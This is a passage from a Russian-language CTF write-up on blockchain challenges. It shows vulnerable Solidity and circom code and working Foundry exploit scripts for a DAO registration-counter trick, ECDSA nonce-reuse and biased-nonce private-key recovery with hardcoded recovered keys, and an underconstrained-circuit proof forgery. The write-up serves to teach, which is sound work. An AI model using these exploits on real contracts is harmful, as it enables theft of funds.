\u0440\u0430\u0432\u0435\u043d\u0441\u0442\u0432\u043e, \u043f\u0440\u0438 border = 10, round = 0<\/p>\n<p>registered[msg.sender] % border == 0 &amp;&amp; counter \/ border == round + 1, \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c<\/p>\n<p>registered[msg.sender] % 10 == 0 &amp;&amp; counter \/ 10 == 1, \u0442.\u0435. \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c  registered[msg.sender] \u043a\u0440\u0430\u0442\u043d\u043e\u0435 10 \u0438 10 &lt;= counter &lt; 20, \u043e\u043d\u0438 \u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <strong>register()<\/strong><\/p>\n<pre><code class=\"javascript\">function register() external {         require(registered[msg.sender] == 0);         counter += 1;         registered[msg.sender] = counter;     }<\/code><\/pre>\n<p>\u041e\u043a, \u043d\u0430\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c 9 \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0438 \u043e\u043a\u0430\u0437\u0430\u0442\u044c\u0441\u044f 10-\u043c, \u0442\u043e\u0433\u0434\u0430 registered[msg.sender] \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0432\u0435\u043d 10, \u0430 counter 10, \u043f\u0438\u0448\u0435\u043c \u0441\u043a\u0440\u0438\u043f\u0442, \u0441\u043e\u0437\u0434\u0430\u044e\u0449\u0438\u0439 9 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0449\u0438\u0445\u0441\u044f \u043a\u0430\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u0430 \u0437\u0430\u0442\u0435\u043c, \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u043c\u0441\u044f \u0441\u0430\u043c\u0438 \u0438 \u043d\u0435 \u0437\u0430\u0431\u044b\u0432\u0430\u0435\u043c \u0437\u0430\u0431\u0440\u0430\u0442\u044c \u043c\u043e\u043d\u0435\u0442\u044b \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430.<\/p>\n<details class=\"spoiler\">\n<summary>\u0420\u0435\u0448\u0435\u043d\u0438\u0435<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"javascript\">pragma solidity ^0.8.19;  import {Script, console} from \"forge-std\/Script.sol\"; import \"..\/src\/Task.sol\";  contract Hack {     constructor(DAO _daoInstance) {         _daoInstance.register();     } }  contract Solution is Script {     function run() external {         DAO daoInstance = DAO(             payable(&lt;\u0430\u0434\u0440\u0435\u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430>)         );         vm.startBroadcast();         for (uint i = 0; i &lt; 9; i++) {             new Hack(daoInstance);         }         daoInstance.register();         daoInstance.withdraw();         vm.stopBroadcast();     } }<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<h3>4. DAO1<\/h3>\n<details class=\"spoiler\">\n<summary>\u0417\u0430\u0434\u0430\u0447\u0430<\/summary>\n<div class=\"spoiler__content\">\n<p>You have before you a DAO community protocol in which every tenth contributor can become its new owner by voting for himself. At first glance, the current owner has taken care of the security of the change-of-ownership mechanism. But this is only at first glance&#8230;<\/p>\n<pre><code class=\"javascript\">\/\/ SPDX-License-Identifier: MIT pragma solidity ^0.8.25;   contract OffchainCheckOwner {     address public owner;       event Signed(uint8 v, bytes32 r, bytes32 s, bytes32 hash);       \/\/ Restrict reusing signatures     mapping(bytes32 => bool) public used;       constructor(address _owner) {         owner = _owner;     }       function checkOwner(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _hash) internal {         require(!used[_hash]);         address signer = ecrecover(_hash, _v, _r, _s);         require(signer == owner);         used[_hash] = true;         emit Signed(_v, _r, _s, _hash);     } }   contract DAO is OffchainCheckOwner {     uint256 border = 10;     mapping(address => bool) registered;     mapping(address => uint256) contributes;       event Contributed(address contributer, uint256 amount);     event NewBorder(uint256 value);     event OwnerChanged(address newOwner);       constructor(address _owner) payable OffchainCheckOwner(_owner) {}       function register() external {         require(registered[msg.sender] == false);         registered[msg.sender] = true;     }       function contribute(address user) external payable {         require(registered[msg.sender] == true);         if (msg.value >= address(this).balance) {             \/\/ If you are big DAO's contributer, you definitely deserve an upgrade             contributes[user] += 1;         }         emit Contributed(msg.sender, msg.value);     }       function voteForYourself() external {         require(registered[msg.sender] == true);         \/\/ You can vote only once         require(contributes[msg.sender] &lt; 0);         emit OwnerChanged(msg.sender);         owner = owner;     }       function ownerContribute(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _hash) external payable {         checkOwner(_v, _r, _s, _hash);         require(msg.value > 0);         emit Contributed(owner, msg.value);     }       function changeDAOowner(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _salt, address _newOwner) external {         \/\/ add 0x01 prefix to prevent collisions with other types of messages         uint256 value = address(this).balance;         bytes32 hash = keccak256(abi.encode(uint8(0x01), value, _salt));         checkOwner(_v, _r, _s, hash);         emit OwnerChanged(_newOwner);         owner = _newOwner;     }       function setBorder(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _salt, uint256 _newBorder) external {         \/\/ add 0x02 prefix to prevent collisions with other types of messages         bytes32 hash = keccak256(abi.encode(uint8(0x02), _newBorder, _salt));         checkOwner(_v, _r, _s, hash);         border = _newBorder;         emit NewBorder(_newBorder);     }       function withdraw() public {         payable(owner).transfer(address(this).balance);     } }<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u041e\u043a, \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0442\u0443 \u0436\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u044e <strong>voteForYourself()<\/strong><\/p>\n<pre><code class=\"javascript\">function voteForYourself() external {         require(registered[msg.sender] == true);         \/\/ You can vote only once         require(contributes[msg.sender] &lt; 0);         emit OwnerChanged(msg.sender);         owner = owner;     }<\/code><\/pre>\n<p>\u0412 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0433\u043e\u043b\u043e\u0441\u0443\u0439 \u043d\u0435 \u0433\u043e\u043b\u043e\u0441\u0443\u0439, owner \u043d\u0435 \u043f\u043e\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f. \u0427\u0442\u043e \u0436\u0435, \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0433\u0434\u0435 \u0435\u0449\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043c\u0435\u043d\u044f\u0442\u044c owner, \u0432\u0438\u0434\u0438\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044e <strong>changeDAOowner<\/strong><\/p>\n<pre><code class=\"javascript\">function changeDAOowner(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _salt, address _newOwner) external {         \/\/ add 0x01 prefix to prevent collisions with other types of messages         uint256 value = address(this).balance;         bytes32 hash = keccak256(abi.encode(uint8(0x01), value, _salt));         checkOwner(_v, _r, _s, hash);         emit OwnerChanged(_newOwner);         owner = _newOwner;     }<\/code><\/pre>\n<p>\u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0433\u0434\u0435-\u0442\u043e \u0440\u0430\u0437\u0434\u043e\u0431\u044b\u0442\u044c v, r, s \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0434\u043b\u044f \u043f\u043e\u0434\u043f\u0438\u0441\u0438, \u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0431\u044b\u043b\u0438 \u043b\u0438 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0441 \u044d\u0442\u0438\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c, \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u043c\u0435\u0447\u0430\u0435\u043c \u0447\u0442\u043e \u043d\u0430 \u0432\u0441\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0441 ECDSA \u043f\u043e\u0434\u043f\u0438\u0441\u044f\u043c\u0438 \u0441\u043e\u0437\u0434\u0430\u0435\u0442\u0441\u044f event Signed(uint8 v, bytes32 r, bytes32 s, bytes32 hash), \u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043b\u043e\u0433 \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0432 \u043e\u0431\u043e\u0437\u0440\u0435\u0432\u0430\u0442\u0435\u043b\u0435<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/39f\/061\/8c6\/39f0618c6df4f382d94ff95988b142b4.png\" width=\"2816\" height=\"1354\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/39f\/061\/8c6\/39f0618c6df4f382d94ff95988b142b4.png\"\/><\/figure>\n<p>\u0447\u0442\u043e \u043c\u044b \u0442\u0443\u0442 \u0432\u0438\u0434\u0438\u043c &#8212; \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0435 r \u0434\u043b\u044f \u0434\u0432\u0443\u0445 \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439, \u0434\u0430 \u044d\u0442\u043e \u0436\u0435 <a href=\"https:\/\/github.com\/pcaversaccio\/ecdsa-nonce-reuse-attack\" rel=\"noopener noreferrer nofollow\">ECDSA Nonce Reuse Attack<\/a> (\u044d\u0442\u043e\u0439 \u0436\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0431\u044b\u043b\u0430<a href=\"https:\/\/www.youtube.com\/watch?v=84WI-jSgNMQ\" rel=\"noopener noreferrer nofollow\"> \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u0430 SonyPS3 \u0432 2010<\/a>), \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u043a\u043b\u044e\u0447 \u043f\u043e \u0444\u043e\u0440\u043c\u0443\u043b\u0435:<\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/bd3\/98a\/97c\/bd398a97c2c1dd8fde9b2d8e890e28ca.png\" width=\"518\" height=\"114\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/bd3\/98a\/97c\/bd398a97c2c1dd8fde9b2d8e890e28ca.png\"\/><\/figure>\n<p>\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0438\u043c \u0441\u043c\u0435\u043d\u0443 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 <strong>changeDAOowner<\/strong><\/p>\n<details class=\"spoiler\">\n<summary>\u0420\u0435\u0448\u0435\u043d\u0438\u0435<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"javascript\">\/\/ SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.19;  import {Script, console} from \"forge-std\/Script.sol\"; import \"..\/src\/Task.sol\";   contract Solution is Script {     function run() external {         DAO daoInstance = DAO(             payable(&lt;\u0430\u0434\u0440\u0435\u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430>)         );         daoInstance.register();         uint256 alicePk = 0x212efffe843107cea143dc42d505a75947aa1be51c18ee473f78781e9270279a;         bytes32 salt = \"\";         uint256 value = address(daoInstance).balance;         bytes32 hash = keccak256(abi.encode(uint8(0x01), value, salt));         (uint8 v, bytes32 r, bytes32 s) = vm.sign(alicePk, hash);         daoInstance.changeDAOowner(v, r, s, salt, tx.origin);         daoInstance.withdraw();         console.log(\"owner: \", daoInstance.owner());         vm.stopBroadcast();     } }<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<h2>5. DAO2<\/h2>\n<details class=\"spoiler\">\n<summary>\u0417\u0430\u0434\u0430\u0447\u0430<\/summary>\n<div class=\"spoiler__content\">\n<p>In the new version of the DAO community protocol, DAO2, the owner has fixed the bug. However, it seems that the protocol is still vulnerable to the previous bug, which is understood in cryptography.<\/p>\n<pre><code class=\"javascript\">\/\/ SPDX-License-Identifier: MIT pragma solidity ^0.8.25;   contract OffchainCheckOwner {     address public owner;       event Signed(uint8 v, bytes32 r, bytes32 s, bytes32 hash);       \/\/ Restrict reusing signatures     mapping(bytes32 => bool) public used;       constructor(address _owner) {         owner = _owner;     }       function checkOwner(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _hash) internal {         require(!used[_hash]);         address signer = ecrecover(_hash, _v, _r, _s);         require(signer == owner);         used[_hash] = true;         emit Signed(_v, _r, _s, _hash);     } }   contract DAO is OffchainCheckOwner {     uint256 border = 10;     mapping(address => bool) registered;     mapping(address => uint256) contributes;       event Contributed(address contributer, uint256 amount);     event NewBorder(uint256 value);     event OwnerChanged(address newOwner);       constructor(address _owner) payable OffchainCheckOwner(_owner) {}       function register() external {         require(registered[msg.sender] == false);         registered[msg.sender] = true;     }       function contribute(address user) external payable {         require(registered[msg.sender] == true);         if (msg.value >= address(this).balance) {             \/\/ If you are big DAO's contributer, you definitely deserve an upgrade             contributes[user] += 1;         }         emit Contributed(msg.sender, msg.value);     }       function voteForYourself() external {         require(registered[msg.sender] == true);         \/\/ You can vote only once         require(contributes[msg.sender] &lt; 0);         emit OwnerChanged(msg.sender);         owner = owner;     }       function ownerContribute(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _hash) external payable {         checkOwner(_v, _r, _s, _hash);         require(msg.value > 0);         emit Contributed(owner, msg.value);     }       function changeDAOowner(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _salt, address _newOwner) external {         \/\/ add 0x01 prefix to prevent collisions with other types of messages         uint256 value = address(this).balance;         bytes32 hash = keccak256(abi.encode(uint8(0x01), value, _salt));         checkOwner(_v, _r, _s, hash);         emit OwnerChanged(_newOwner);         owner = _newOwner;     }       function setBorder(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _salt, uint256 _newBorder) external {         \/\/ add 0x02 prefix to prevent collisions with other types of messages         bytes32 hash = keccak256(abi.encode(uint8(0x02), _newBorder, _salt));         checkOwner(_v, _r, _s, hash);         border = _newBorder;         emit NewBorder(_newBorder);     }       function withdraw() public {         payable(owner).transfer(address(this).balance);     } }<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u041a\u043e\u0434 \u043e\u0441\u0442\u0430\u043b\u0441\u044f \u043f\u0440\u0435\u0436\u043d\u0438\u0439, \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u0447\u0442\u043e \u0436\u0435 \u0441 \u043f\u043e\u0434\u043f\u0438\u0441\u044f\u043c\u0438?<\/p>\n<details class=\"spoiler\">\n<summary>\u0421\u043c\u043e\u0442\u0440\u0438\u043c \u043f\u043e\u0434\u043f\u0438\u0441\u0438<\/summary>\n<div class=\"spoiler__content\">\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/7f0\/f6d\/c2d\/7f0f6dc2d83c23a8885b5accaef18161.png\" width=\"912\" height=\"1564\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/7f0\/f6d\/c2d\/7f0f6dc2d83c23a8885b5accaef18161.png\"\/><\/figure>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0412\u043e\u0442 \u044d\u0442\u043e \u043f\u043e\u0432\u043e\u0440\u043e\u0442! \u0418\u0445 4, \u043e\u043d\u0438 \u0432\u0441\u0435 \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 nonce \u0438 \u0434\u0430\u0436\u0435 nonce \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u043f\u043e\u0445\u043e\u0436\u0438\u043c\u0438 \u0434\u0440\u0443\u0433 \u043d\u0430 \u0434\u0440\u0443\u0433\u0430. \u041f\u043e\u0441\u0442\u043e\u0439\u0442\u0435, \u043c\u044b \u0437\u043d\u0430\u0435\u043c r \u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 s \u0434\u043b\u044f v =28, \u0447\u0442\u043e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\u0442\u043e\u0440\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u043d\u0430 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u0440\u0438\u0432\u043e\u0439, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 s \u0434\u043b\u044f v=27 \u0438 \u0442\u0435\u0445 \u0436\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u043f\u0435\u0440\u0432\u043e\u0439 \u0442\u043e\u0447\u043a\u0438, \u043d\u043e \u043d\u0435\u0442, \u0441\u043e\u0437\u0434\u0430\u0442\u0435\u043b\u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u043f\u043e\u0437\u0430\u0431\u043e\u0442\u0438\u043b\u0438\u0441\u044c \u043e \u0437\u0430\u0449\u0438\u0442\u0435 \u043e\u0442 reuse \u0430\u0442\u0430\u043a\u0438, \u0434\u043e\u0431\u0430\u0432\u0438\u0432 checkOwner \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0432\u043e \u0432\u0441\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438<\/p>\n<pre><code class=\"javascript\">\/\/ Restrict reusing signatures mapping(bytes32 => bool) public used;  function checkOwner(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _hash) internal {         require(!used[_hash]);         address signer = ecrecover(_hash, _v, _r, _s);         require(signer == owner);         used[_hash] = true;         emit Signed(_v, _r, _s, _hash);     }<\/code><\/pre>\n<p>\u0425\u043e\u0440\u043e\u0448\u043e, \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0437\u0430\u0434\u0430\u043d\u0438\u044f DAO2 \u0438 DAO1 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0438 \u043d\u0430\u043c \u043d\u0430\u0434\u043e \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u044c \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441, \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0435\u0433\u043e \u043d\u0430 \u0444\u0430\u0431\u0440\u0438\u043a\u0435 \u0443\u0440\u043e\u0432\u043d\u044f \u0437\u0430\u0434\u0430\u043d\u0438\u044f DAO1 \u0438 \u043f\u043e \u0438\u043c\u0435\u044e\u0449\u0438\u043c\u0441\u044f \u0432 \u043d\u0435\u043c \u043f\u043e\u0434\u043f\u0438\u0441\u044f\u043c \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043a\u043b\u044e\u0447? \u041d\u0435\u0442, \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0439 \u0441\u0440\u0435\u0434\u0438 \u0432\u0441\u0435\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043d\u0435 \u043d\u0430\u0448\u043b\u043e\u0441\u044c.<\/p>\n<p>\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u043c\u043d\u0435 \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0440\u0435\u0448\u0438\u0442\u044c \u044d\u0442\u043e \u0437\u0430\u0434\u0430\u043d\u0438\u0435, \u043f\u043e \u043e\u043a\u043e\u043d\u0447\u0430\u043d\u0438\u044e \u043a\u043e\u043d\u043a\u0443\u0440\u0441\u0430 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0438\u0433\u0440\u043e\u043a, \u0440\u0435\u0448\u0438\u0432\u0448\u0438\u0439 \u044d\u0442\u043e \u0437\u0430\u0434\u0430\u043d\u0438\u0435 (<strong>its5Q)<\/strong> \u0440\u0430\u0441\u043a\u0440\u044b\u043b \u0432 \u0447\u0430\u0442\u0435 \u043a\u043e\u043d\u043a\u0443\u0440\u0441\u0430, \u0447\u0442\u043e \u044d\u0442\u043e <a href=\"https:\/\/www.youtube.com\/watch?v=6ssTlSSIJQE\" rel=\"noopener noreferrer nofollow\">Biased Nonce Sense, \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u0434\u043e\u043a\u043b\u0430\u0434 \u043e\u0442 Nadia Heninger<\/a>, \u0430 \u043d\u0430\u0448\u0435\u043b \u043e\u043d \u0435\u0433\u043e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0440\u043e\u0435\u043a\u0442\u0430 <a href=\"https:\/\/github.com\/google\/paranoid_crypto\" rel=\"noopener noreferrer nofollow\">paranoid-crypto<\/a><\/p>\n<p>\u0412\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c \u0441\u0432\u043e\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432 \u0447\u0435\u043a\u0435\u0440 paranoid-crypto, \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/485\/f77\/a77\/485f77a77e339d0ae838beea1b4844f1.png\" width=\"2228\" height=\"214\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/485\/f77\/a77\/485f77a77e339d0ae838beea1b4844f1.png\"\/><\/figure>\n<p>\u0438 \u043c\u0435\u043d\u044f\u0435\u043c \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430<\/p>\n<details class=\"spoiler\">\n<summary>\u0420\u0435\u0448\u0435\u043d\u0438\u0435<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"javascript\">\/\/ SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.19;  import {Script, console} from \"forge-std\/Script.sol\"; import \"..\/src\/Task.sol\";   contract Solution is Script {     function run() external {         DAO daoInstance = DAO(             payable(&lt;\u0430\u0434\u0440\u0435\u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430>)         );         daoInstance.register();         uint256 alicePk = 0xf34fbbde85b0ab4a75a2d9186cb515ec0e86fe989af91c2d597e1b94806858c2;         bytes32 salt = \"\";         uint256 value = address(daoInstance).balance;         bytes32 hash = keccak256(abi.encode(uint8(0x01), value, salt));         (uint8 v, bytes32 r, bytes32 s) = vm.sign(alicePk, hash);         daoInstance.changeDAOowner(v, r, s, salt, tx.origin);         daoInstance.withdraw();         console.log(\"owner: \", daoInstance.owner());         vm.stopBroadcast();     } }<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<h2>6. Underconstrained<\/h2>\n<details class=\"spoiler\">\n<summary>\u0417\u0430\u0434\u0430\u0447\u0430<\/summary>\n<div class=\"spoiler__content\">\n<p>The developers were not careful and left the bug in the code. Will you be able to exploit the vulnerability? The \u201cCheck the proof\u201d button creates a proof based on your witness (.wtns), checks it and sends the proof to the contract.<\/p>\n<pre><code class=\"vhdl\">pragma circom 2.1.8;   template Main() {     signal input x;     signal input y;       signal output out;       signal a;     signal b;       1 === x + y;     a &lt;== x * y;      b &lt;-- a * a;       out &lt;== b * a; }   component main = Main(); <\/code><\/pre>\n<pre><code class=\"javascript\">\/\/ SPDX-License-Identifier: MIT pragma solidity ^0.8.25;   import {Groth16Verifier} from \".\/verifier.sol\";   contract Underconstrained is Groth16Verifier {     uint256 public immutable out;     bool public flag;       constructor(uint256 _out) {         out = _out;     }       function verify(         uint256[2] calldata _pA,         uint256[2][2] calldata _pB,         uint256[2] calldata _pC,         uint256[1] calldata _pubSignals     ) public {         require(_pubSignals[0] == out, \"error public\");         flag = verifyProof(_pA, _pB, _pC, _pubSignals);         require(flag, \"wrong proof\");     } }<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0427\u0442\u043e \u044d\u0442\u043e \u0437\u0430 \u0448\u0442\u0443\u043a\u0430 \u0442\u0430\u043a\u0430\u044f \u0438 \u0447\u0442\u043e \u0437\u0430 witness \u043e\u0442 \u043d\u0430\u0441 \u0445\u043e\u0442\u044f\u0442? \u041a\u0430\u043a \u0443\u0434\u0430\u0447\u043d\u043e, \u0447\u0442\u043e \u0432 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d \u0441\u0435\u043a\u0446\u0438\u0438 \u043d\u0430 PHDays 2024 \u0431\u044b\u043b <a href=\"https:\/\/youtu.be\/smH_oZs1ZmM?list=PL-PDZMPQHOz_sBCl2k60oeWeXZeeqal-S\" rel=\"noopener noreferrer nofollow\">\u043b\u0438\u043a\u0431\u0435\u0437 \u0434\u043e\u043a\u043b\u0430\u0434 \u0412\u043b\u0430\u0434\u0438\u043c\u0438\u0440\u0430 \u041f\u043e\u043f\u043e\u0432\u0430 \u043e zero knowledge \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430\u0445<\/a> <\/p>\n<p>\u0425\u043e\u0440\u043e\u0448\u043e, \u044d\u0442\u043e \u0447\u0442\u043e-\u0442\u043e \u0432\u0440\u043e\u0434\u0435 \u043c\u0438\u043a\u0440\u043e\u0441\u0445\u0435\u043c\u044b \u0441 \u0441\u0438\u0433\u043d\u0430\u043b\u0430\u043c\u0438 \u0438 \u043d\u0430\u043c \u043d\u0430\u0434\u043e \u043a\u0430\u043a-\u0442\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c circom \u0444\u0430\u0439\u043b \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b witness \u0444\u0430\u0439\u043b \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u043d\u044b\u0445 x \u0438 y \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u0434\u0430\u0432\u0430\u043b \u0430\u0434\u0440\u0435\u0441 \u043d\u0430\u0448\u0435\u0433\u043e \u043a\u043e\u0448\u0435\u043b\u044c\u043a\u0430 _pubSignals[0] == out \u0437\u0430\u0434\u0430\u0447\u0430 \u044f\u0441\u043d\u0430. <\/p>\n<p>\u041e\u043f\u044f\u0442\u044c \u0436\u0435 \u0443\u0434\u0430\u0447\u043d\u043e, \u0447\u0442\u043e \u0432 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d \u0441\u0435\u043a\u0446\u0438\u0438 \u0431\u044b\u043b \u0435\u0449\u0435 \u043e\u0434\u0438\u043d <a href=\"https:\/\/youtu.be\/zTlzTBRZjDw\" rel=\"noopener noreferrer nofollow\">\u0434\u043e\u043a\u043b\u0430\u0434 \u0421\u0435\u0440\u0433\u0435\u044f \u041f\u0440\u0438\u043b\u0443\u0446\u043a\u043e\u0433\u043e \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430\u0445 \u043d\u0430 \u0431\u0430\u0437\u0435 ZK-SNARK<\/a>, \u0434\u0430 \u044d\u0442\u043e \u0436\u0435 <a href=\"https:\/\/youtu.be\/zTlzTBRZjDw?t=1091\" rel=\"noopener noreferrer nofollow\">\u043d\u0430\u0448 \u0441\u043b\u0443\u0447\u0430\u0439<\/a> &#8212; \u0441\u0438\u0433\u043d\u0430\u043b \u0431\u0435\u0437 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u043e\u043d\u0441\u0442\u0440\u0435\u0439\u043d\u0442\u0430, \u0442.\u0435. \u0432 <\/p>\n<p>b &lt;&#8212; a * a; \u0441\u0438\u0433\u043d\u0430\u043b \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0438 \u0432 b \u043c\u043e\u0436\u043d\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043b\u044e\u0431\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435,  \u0438\u0437 \u0441\u0438\u0441\u0442\u0435\u043c\u044b<\/p>\n<p>1 === x + y;<br \/> a &lt;== x * y;<br \/> b &lt;&#8212; a * a;<\/p>\n<p>out &lt;== b * a;<\/p>\n<p>\u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c:<\/p>\n<p>b = \u043d\u0430\u0448_\u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439_\u0430\u0434\u0440\u0435\u0441 \/ x * (1 &#8212; x), <\/p>\n<p>b \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c 